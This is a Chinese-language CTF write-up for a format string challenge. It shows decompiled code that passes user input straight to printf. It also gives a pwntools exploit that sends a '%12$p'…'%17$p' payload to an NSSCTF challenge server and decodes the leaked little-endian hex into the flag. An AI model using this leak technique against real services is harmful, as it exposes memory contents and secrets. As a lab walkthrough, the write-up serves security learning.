没在CSND上看到这题的wp,整理一下思路。
考察的是格式化字符串漏洞,代码如下:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
FILE *stream; // [rsp+8h] [rbp-68h]
char format[32]; // [rsp+10h] [rbp-60h] BYREF
char s[8]; // [rsp+30h] [rbp-40h] BYREF
__int64 v6; // [rsp+38h] [rbp-38h]
__int64 v7; // [rsp+40h] [rbp-30h]
__int64 v8; // [rsp+48h] [rbp-28h]
__int64 v9; // [rsp+50h] [rbp-20h]
__int64 v10; // [rsp+58h] [rbp-18h]
__int16 v11; // [rsp+60h] [rbp-10h]
unsigned __int64 v12; // [rsp+68h] [rbp-8h]
v12 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
stream = fopen("flag.txt", "r");
*(_QWORD *)s = 0LL;
v6 = 0LL;
v7 = 0LL;
v8 = 0LL;
v9 = 0LL;
v10 = 0LL;
v11 = 0;
if ( stream )
fgets(s, 50, stream);
HIBYTE(v11) = 0;
while ( 1 )
{
puts("Echo as a service");
gets(format);
printf(format);
putchar(10);
}
}
以只读模式打开名为 flag.txt 的文件。如果文件成功打开,返回一个指向文件的指针 stream,否则返回 NULL。在成功打开文件后,从文件中读取最多50个字符(包括换行符和终止符)到 s 数组中。fgets 函数会读取一行内容,直到达到指定的字符数(包括终止符)或遇到换行符或文件结束标志。
char s[8]; // [rsp+30h] [rbp-40h] BYREF
s数组的初始位置距离rbp的距离为0x40
如图,rbp的地址已知,反向推出s的位置,即可得到s相对于格式化字符串的偏移%12$p
此时即可编写exp,注意程序是小端序,得到16进制编码的flag后进行还原。
from pwn import *
context (os='linux', arch='amd64', log_level='debug')
context.terminal = ['tmux','splitw','-h','-l','140']
pwnfile = './fmt'
elf = ELF(pwnfile)
#libc = ELF('')
#io = process(pwnfile)
io = remote('node5.anna.nssctf.cn',24823)
#gdb.attach(io)
pay = b'%12$p%13$p%14$p%15$p%16$p%17$p'
io.sendline(pay)
io.interactive()
flag = ['617b46544353534e','2d65663030326362','3638342d66333237','372d333137622d35','6133343433323432','a7d353936']
for str in flag:
for i in range(len(str) -2,-1,-2):
byte = str[i:i+2]
print(chr(int(byte,16)),end="")
对于第一个字符串 '617b46544353534e',内层循环从末尾开始读取:
4e -> N
53 -> S
53 -> S
43 -> C
54 -> T
46 -> F
7b -> {
61 -> a
依次处理其他字符串,最终输出完整的flag。